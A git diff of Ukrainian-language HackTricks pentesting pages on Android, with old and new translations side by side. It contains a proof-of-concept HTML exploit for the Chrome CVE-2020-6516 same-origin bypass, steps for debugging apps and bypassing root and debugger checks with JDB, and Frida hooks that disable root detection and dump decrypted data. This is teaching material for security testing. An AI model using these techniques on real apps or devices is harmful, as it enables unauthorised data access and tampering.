<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Це краткий огляд публікації [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
### Виведення файлів у сховищі медіа
|
||||
Для виведення файлів, керованих сховищем медіа, можна використати наступну команду:
|
||||
**Це резюме посту [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
|
||||
### Перелік файлів у Media Store
|
||||
Щоб перерахувати файли, які керуються Media Store, можна використовувати команду нижче:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
Для більш зручного виведення, відображення лише ідентифікатора та шляху кожного індексованого файлу:
|
||||
Для більш зручного для людини виводу, що відображає лише ідентифікатор та шлях до кожного проіндексованого файлу:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
Постачальники контенту ізольовані у власному приватному просторі імен. Доступ до постачальника потребує конкретного `content://` URI. Інформацію про шляхи доступу до постачальника можна отримати з маніфестів додатків або вихідного коду фреймворку Android.
|
||||
Контент-провайдери ізольовані у власному приватному просторі імен. Доступ до провайдера вимагає специфічного `content://` URI. Інформацію про шляхи доступу до провайдера можна отримати з маніфестів додатків або вихідного коду фреймворку Android.
|
||||
|
||||
### Доступ Chrome до постачальників контенту
|
||||
Chrome на Android може отримати доступ до постачальників контенту через схему `content://`, що дозволяє йому отримувати доступ до ресурсів, таких як фотографії або документи, експортовані сторонніми додатками. Для ілюстрації цього можна вставити файл у Media Store, а потім отримати до нього доступ через Chrome:
|
||||
### Доступ Chrome до контент-провайдерів
|
||||
Chrome на Android може отримувати доступ до контент-провайдерів через схему `content://`, що дозволяє йому отримувати доступ до ресурсів, таких як фотографії або документи, експортовані сторонніми додатками. Щоб проілюструвати це, файл можна вставити в Media Store, а потім отримати до нього доступ через Chrome:
|
||||
|
||||
Вставте власний запис у Media Store:
|
||||
```bash
|
||||
|
@ -37,27 +41,27 @@ content insert --uri content://media/external/file \
|
|||
--bind _data:s:/storage/emulated/0/test.txt \
|
||||
--bind mime_type:s:text/plain
|
||||
```
|
||||
Виявіть ідентифікатор нової вставленої файлу:
|
||||
Визначте ідентифікатор нововставленого файлу:
|
||||
```bash
|
||||
content query --uri content://media/external/file \
|
||||
--projection _id,_data | grep test.txt
|
||||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||
```
|
||||
Файл можна переглянути в Chrome, використовуючи URL, побудований за ідентифікатором файлу.
|
||||
Файл можна переглянути в Chrome, використовуючи URL, побудований з ідентифікатора файлу.
|
||||
|
||||
Наприклад, щоб переглянути список файлів, пов'язаних з певним додатком:
|
||||
Наприклад, щоб перерахувати файли, пов'язані з конкретним додатком:
|
||||
```bash
|
||||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||||
```
|
||||
### Chrome CVE-2020-6516: Пройдення політики однакового походження
|
||||
### Chrome CVE-2020-6516: Обхід політики однакового походження
|
||||
|
||||
Політика однакового походження (SOP) - це протокол безпеки в браузерах, який обмежує взаємодію веб-сторінок з ресурсами з різних джерел, якщо це не було явно дозволено політикою Cross-Origin-Resource-Sharing (CORS). Ця політика спрямована на запобігання витоку інформації та підробленню запитів з інших сайтів. Chrome вважає `content://` як локальну схему, що підтверджує більш жорсткі правила SOP, де кожен URL локальної схеми розглядається як окреме джерело.
|
||||
Політика _однакового походження_ (SOP) є протоколом безпеки в браузерах, який обмежує веб-сторінки у взаємодії з ресурсами з різних походжень, якщо це не дозволено явно політикою Cross-Origin-Resource-Sharing (CORS). Ця політика має на меті запобігти витоку інформації та підробці міжсайтових запитів. Chrome вважає `content://` локальною схемою, що передбачає більш суворі правила SOP, де кожен URL локальної схеми розглядається як окреме походження.
|
||||
|
||||
Однак CVE-2020-6516 була уразливість у Chrome, яка дозволяла обхід правил SOP для ресурсів, завантажених через URL `content://`. Фактично, код JavaScript з URL `content://` міг отримати доступ до інших ресурсів, завантажених через URL `content://`, що було значним питанням з точки зору безпеки, особливо на пристроях Android з версіями попередніми Android 10, де обмежене сховище не було реалізовано.
|
||||
Однак CVE-2020-6516 була вразливістю в Chrome, яка дозволяла обійти правила SOP для ресурсів, завантажених через URL `content://`. Фактично, JavaScript-код з URL `content://` міг отримувати доступ до інших ресурсів, завантажених через URL `content://`, що становило значну загрозу безпеці, особливо на пристроях Android, що працюють на версіях раніше Android 10, де не було реалізовано обмежене зберігання.
|
||||
|
||||
Нижче наведено доказовий приклад цієї уразливості, де HTML-документ після завантаження під **/sdcard** та додавання до медіа-сховища використовує `XMLHttpRequest` у своєму JavaScript для доступу та відображення вмісту іншого файлу в медіа-сховищі, обходячи правила SOP.
|
||||
Нижче наведено доказ концепції, який демонструє цю вразливість, де HTML-документ, після завантаження під **/sdcard** та додавання до Media Store, використовує `XMLHttpRequest` у своєму JavaScript для доступу та відображення вмісту іншого файлу в Media Store, обходячи правила SOP.
|
||||
|
||||
Доказовий приклад HTML:
|
||||
Proof-of-Concept HTML:
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -86,16 +90,21 @@ xhr.send();
|
|||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,108 @@
|
|||
# Використання вразливої програми
|
||||
# Використання додатку, що підлягає налагодженню
|
||||
|
||||
Була надана демонстрація за допомогою вразливої програми, що містить кнопку та текстове поле. Спочатку програма відображає "Crack Me". Мета полягає в тому, щоб змінити повідомлення з "Try Again" на "Hacked" під час виконання, не змінюючи вихідний код.
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# **Обхід перевірок root та налагодження**
|
||||
|
||||
Цей розділ посту є підсумком з посту [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
|
||||
## Кроки для того, щоб зробити Android додаток налагоджуваним та обійти перевірки
|
||||
|
||||
### **Зробити додаток налагоджуваним**
|
||||
|
||||
Контент на основі https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||
|
||||
1. **Декомпілювати APK:**
|
||||
- Використовуйте інструмент APK-GUI для декомпіляції APK.
|
||||
- У файлі _android-manifest_ вставте `android:debuggable=true`, щоб увімкнути режим налагодження.
|
||||
- Знову скомпілюйте, підпишіть та zipalign модифікований додаток.
|
||||
|
||||
2. **Встановити модифікований додаток:**
|
||||
- Використовуйте команду: `adb install <application_name>`.
|
||||
|
||||
3. **Отримати назву пакету:**
|
||||
- Виконайте `adb shell pm list packages –3`, щоб перерахувати сторонні додатки та знайти назву пакету.
|
||||
|
||||
4. **Налаштувати додаток на очікування підключення налагоджувача:**
|
||||
- Команда: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Примітка:** Цю команду потрібно виконувати щоразу перед запуском додатка, щоб він чекав на налагоджувач.
|
||||
- Для збереження використовуйте `adb shell am setup-debug-app –w -–persistent <package_name>`.
|
||||
- Щоб видалити всі прапорці, використовуйте `adb shell am clear-debug-app <package_name>`.
|
||||
|
||||
5. **Підготуватися до налагодження в Android Studio:**
|
||||
- Перейдіть в Android Studio до _File -> Open Profile or APK_.
|
||||
- Відкрийте скомпільований APK.
|
||||
|
||||
6. **Встановити точки зупинки в ключових Java файлах:**
|
||||
- Встановіть точки зупинки в `MainActivity.java` (зокрема в методі `onCreate`), `b.java` та `ContextWrapper.java`.
|
||||
|
||||
### **Обхід перевірок**
|
||||
|
||||
Додаток у певні моменти перевіряє, чи він підлягає налагодженню, а також перевіряє наявність бінарних файлів, що вказують на рутований пристрій. Налагоджувач може бути використаний для зміни інформації про додаток, скидання біта налагодження та зміни назв шуканих бінарних файлів, щоб обійти ці перевірки.
|
||||
|
||||
Для перевірки налагодження:
|
||||
|
||||
1. **Змінити налаштування прапорців:**
|
||||
- У секції змінних консолі налагоджувача перейдіть до: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
- **Примітка:** Бінарне представлення `flags = 814267974` є `11000011100111011110`, що вказує на те, що "Flag_debuggable" активний.
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||
|
||||
Ці кроки в сукупності забезпечують можливість налагодження додатка та обхід певних перевірок безпеки за допомогою налагоджувача, що полегшує більш глибокий аналіз або модифікацію поведінки додатка.
|
||||
|
||||
Крок 2 передбачає зміну значення прапорця на 814267972, яке в бінарному вигляді представлено як 110000101101000000100010100.
|
||||
|
||||
# **Використання вразливості**
|
||||
|
||||
Демонстрація була надана за допомогою вразливого додатку, що містить кнопку та текстове поле. Спочатку додаток відображає "Crack Me". Мета полягає в тому, щоб змінити повідомлення з "Try Again" на "Hacked" під час виконання, не змінюючи вихідний код.
|
||||
|
||||
## **Перевірка на вразливість**
|
||||
- Для доступу до файлу `AndroidManifest.xml` програма була розкомпільована за допомогою `apktool`.
|
||||
- Наявність `android_debuggable="true"` в AndroidManifest.xml вказує на те, що програма може бути відлагоджена та піддається експлуатації.
|
||||
- Важливо зауважити, що `apktool` використовується виключно для перевірки статусу відлагодження без зміни будь-якого коду.
|
||||
- Додаток був декомпільований за допомогою `apktool`, щоб отримати доступ до файлу `AndroidManifest.xml`.
|
||||
- Наявність `android_debuggable="true"` у AndroidManifest.xml вказує на те, що додаток підлягає налагодженню та може бути експлуатований.
|
||||
- Варто зазначити, що `apktool` використовується лише для перевірки статусу налагодження без зміни коду.
|
||||
|
||||
## **Підготовка налаштувань**
|
||||
- Процес включав запуск емулятора, встановлення вразливої програми та використання `adb jdwp` для ідентифікації портів Dalvik VM, які слухають.
|
||||
- JDWP (Java Debug Wire Protocol) дозволяє відлагоджувати програму, що працює в VM, шляхом викладення унікального порту.
|
||||
- Для віддаленого відлагодження було необхідно перенаправлення портів, за яким слідувало підключення JDB до цільової програми.
|
||||
## **Підготовка налаштування**
|
||||
- Процес передбачав ініціювання емулятора, встановлення вразливого додатку та використання `adb jdwp` для виявлення портів Dalvik VM, які слухають.
|
||||
- JDWP (Java Debug Wire Protocol) дозволяє налагоджувати додаток, що працює в VM, відкриваючи унікальний порт.
|
||||
- Портове перенаправлення було необхідним для віддаленого налагодження, після чого JDB було прикріплено до цільового додатку.
|
||||
|
||||
## **Впровадження коду під час виконання**
|
||||
- Експлуатація була проведена шляхом встановлення точок зупинки та контролю потоку програми.
|
||||
- Для виявлення структури програми використовувалися команди, такі як `classes` та `methods <class_name>`.
|
||||
- Точка зупинки була встановлена в методі `onClick`, та його виконання було контрольовано.
|
||||
- Для огляду та зміни локальних змінних використовувалися команди `locals`, `next` та `set`, зокрема змінюючи повідомлення "Try Again" на "Hacked".
|
||||
- Змінений код був виконаний за допомогою команди `run`, успішно змінюючи вихід програми в реальному часі.
|
||||
- Експлуатація проводилася шляхом встановлення точок зупинки та контролю за потоком виконання додатку.
|
||||
- Команди, такі як `classes` та `methods <class_name>`, використовувалися для виявлення структури додатку.
|
||||
- Точка зупинки була встановлена в методі `onClick`, і її виконання контролювалося.
|
||||
- Команди `locals`, `next` та `set` використовувалися для перевірки та зміни локальних змінних, зокрема зміни повідомлення "Try Again" на "Hacked".
|
||||
- Модифікований код виконувався за допомогою команди `run`, успішно змінюючи вихід додатку в реальному часі.
|
||||
|
||||
Цей приклад продемонстрував, як можна маніпулювати поведінкою відлагоджуваної програми, підкреслюючи потенціал для більш складних експлойтів, таких як отримання доступу до оболонки на пристрої в контексті програми.
|
||||
Цей приклад продемонстрував, як можна маніпулювати поведінкою налагоджуваного додатку, підкреслюючи потенціал для більш складних експлуатацій, таких як отримання доступу до оболонки на пристрої в контексті додатку.
|
||||
|
||||
## Посилання
|
||||
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Посібник з використання Frida
|
||||
# Frida Tutorial
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Підказка щодо багів**: **зареєструйтеся** на **Intigriti**, преміальній **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні, і почніть заробляти винагороди до **$100,000**!
|
||||
**Bug bounty tip**: **зареєструйтесь** на **Intigriti**, преміум **платформі для bug bounty, створеній хакерами, для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні, і почніть заробляти винагороди до **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Установка
|
||||
## Installation
|
||||
|
||||
Встановіть **інструменти frida**:
|
||||
Install **frida tools**:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Завантажте та встановіть** на Android **сервер frida** ([Завантажте останню версію](https://github.com/frida/frida/releases)).\
|
||||
Однорядкова команда для перезапуску adb у режимі root, підключення до нього, завантаження frida-server, надання прав на виконання та запуску його у фоновому режимі:
|
||||
**Завантажте та встановіть** на Android **frida server** ([Завантажте останнє випуск](https://github.com/frida/frida/releases)).\
|
||||
Однорядковий код для перезапуску adb в режимі root, підключення до нього, завантаження frida-server, надання прав виконання та запуску в фоновому режимі:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -41,33 +42,33 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
|
|||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
```
|
||||
## Посібники
|
||||
## Tutorials
|
||||
|
||||
### [Посібник 1](frida-tutorial-1.md)
|
||||
### [Tutorial 1](frida-tutorial-1.md)
|
||||
|
||||
**З**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Вихідний код**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
**Перейдіть за [посиланням, щоб прочитати](frida-tutorial-1.md).**
|
||||
**Follow the [link to read it](frida-tutorial-1.md).**
|
||||
|
||||
### [Посібник 2](frida-tutorial-2.md)
|
||||
### [Tutorial 2](frida-tutorial-2.md)
|
||||
|
||||
**З**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Частини 2, 3 та 4)\
|
||||
**APK та вихідний код**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
|
||||
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**Перейдіть за [посиланням, щоб прочитати.](frida-tutorial-2.md)**
|
||||
**Follow the[ link to read it.](frida-tutorial-2.md)**
|
||||
|
||||
### [Посібник 3](owaspuncrackable-1.md)
|
||||
### [Tutorial 3](owaspuncrackable-1.md)
|
||||
|
||||
**З**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
||||
**Перейдіть за [посиланням, щоб прочитати](owaspuncrackable-1.md).**
|
||||
**Follow the [link to read it](owaspuncrackable-1.md).**
|
||||
|
||||
**Ви можете знайти більше чудових скриптів Frida тут:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## Швидкі Приклади
|
||||
## Quick Examples
|
||||
|
||||
### Виклик Frida з командного рядка
|
||||
```bash
|
||||
|
@ -82,7 +83,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
|||
#frozen so that the instrumentation can occur, and the automatically
|
||||
#continue execution with our modified code.
|
||||
```
|
||||
### Базовий скрипт Python
|
||||
### Основний скрипт Python
|
||||
```python
|
||||
import frida, sys
|
||||
|
||||
|
@ -93,9 +94,9 @@ print('[ * ] Running Frida Demo application')
|
|||
script.load()
|
||||
sys.stdin.read()
|
||||
```
|
||||
### Підключення функцій без параметрів
|
||||
### Hooking functions without parameters
|
||||
|
||||
Підключіть функцію `a()` класу `sg.vantagepoint.a.c`
|
||||
Хукніть функцію `a()` класу `sg.vantagepoint.a.c`
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
|
@ -105,14 +106,14 @@ return false;
|
|||
};
|
||||
});
|
||||
```
|
||||
Підключіть java `exit()`
|
||||
Hook java `exit()`
|
||||
```javascript
|
||||
var sysexit = Java.use("java.lang.System");
|
||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||
};
|
||||
```
|
||||
Захоплення MainActivity `.onStart()` та `.onCreate()`
|
||||
Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
```javascript
|
||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||
mainactivity.onStart.overload().implementation = function() {
|
||||
|
@ -124,7 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
Підключіть android `.onCreate()`
|
||||
Hook android `.onCreate()`
|
||||
```javascript
|
||||
var activity = Java.use("android.app.Activity");
|
||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||
|
@ -132,9 +133,9 @@ send("Activity HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
### Підключення функцій з параметрами та отримання значення
|
||||
### Хукання функцій з параметрами та отримання значення
|
||||
|
||||
Підключення функції розшифрування. Виведення введення, виклик оригінальної функції для розшифрування введення та, нарешті, виведення чистих даних:
|
||||
Хукання функції розшифрування. Виведіть вхідні дані, викличте оригінальну функцію для розшифрування вхідних даних і, нарешті, виведіть відкриті дані:
|
||||
```javascript
|
||||
function getString(data){
|
||||
var ret = "";
|
||||
|
@ -159,9 +160,9 @@ send("Decrypted flag: " + flag);
|
|||
return ret; //[B
|
||||
};
|
||||
```
|
||||
### Підключення функцій та їх виклик з нашим введенням
|
||||
### Хукання функцій та виклик їх з нашим введенням
|
||||
|
||||
Підключіть функцію, яка отримує рядок, і викличте її з іншим рядком (з [тут](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
Хукніть функцію, яка отримує рядок, і викличте її з іншим рядком (з [тут](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||
|
||||
|
@ -175,9 +176,9 @@ return ret;
|
|||
```
|
||||
### Отримання вже створеного об'єкта класу
|
||||
|
||||
Якщо ви хочете витягнути деякий атрибут створеного об'єкта, ви можете використовувати це.
|
||||
Якщо ви хочете витягти деякий атрибут створеного об'єкта, ви можете використовувати це.
|
||||
|
||||
У цьому прикладі ви побачите, як отримати об'єкт класу my\_activity та як викликати функцію .secret(), яка виведе на екран приватний атрибут об'єкта:
|
||||
У цьому прикладі ви побачите, як отримати об'єкт класу my\_activity і як викликати функцію .secret(), яка виведе приватний атрибут об'єкта:
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
||||
onMatch : function(instance){ //This function will be called for every instance found by frida
|
||||
|
@ -187,29 +188,30 @@ console.log("Result of secret func: " + instance.secret());
|
|||
onComplete:function(){}
|
||||
});
|
||||
```
|
||||
## Інші посібники з використанням Frida
|
||||
## Інші уроки Frida
|
||||
|
||||
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
* [Частина 1 серії блогів про використання Frida: Бібліотеки шифрування IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
* [Частина 1 серії блогів про розширене використання Frida: Бібліотеки шифрування IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Підказка щодо винагороди за помилки**: **зареєструйтесь** на **Intigriti**, преміальній **платформі для винагород за помилки, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні, і почніть заробляти винагороди до **$100,000**!
|
||||
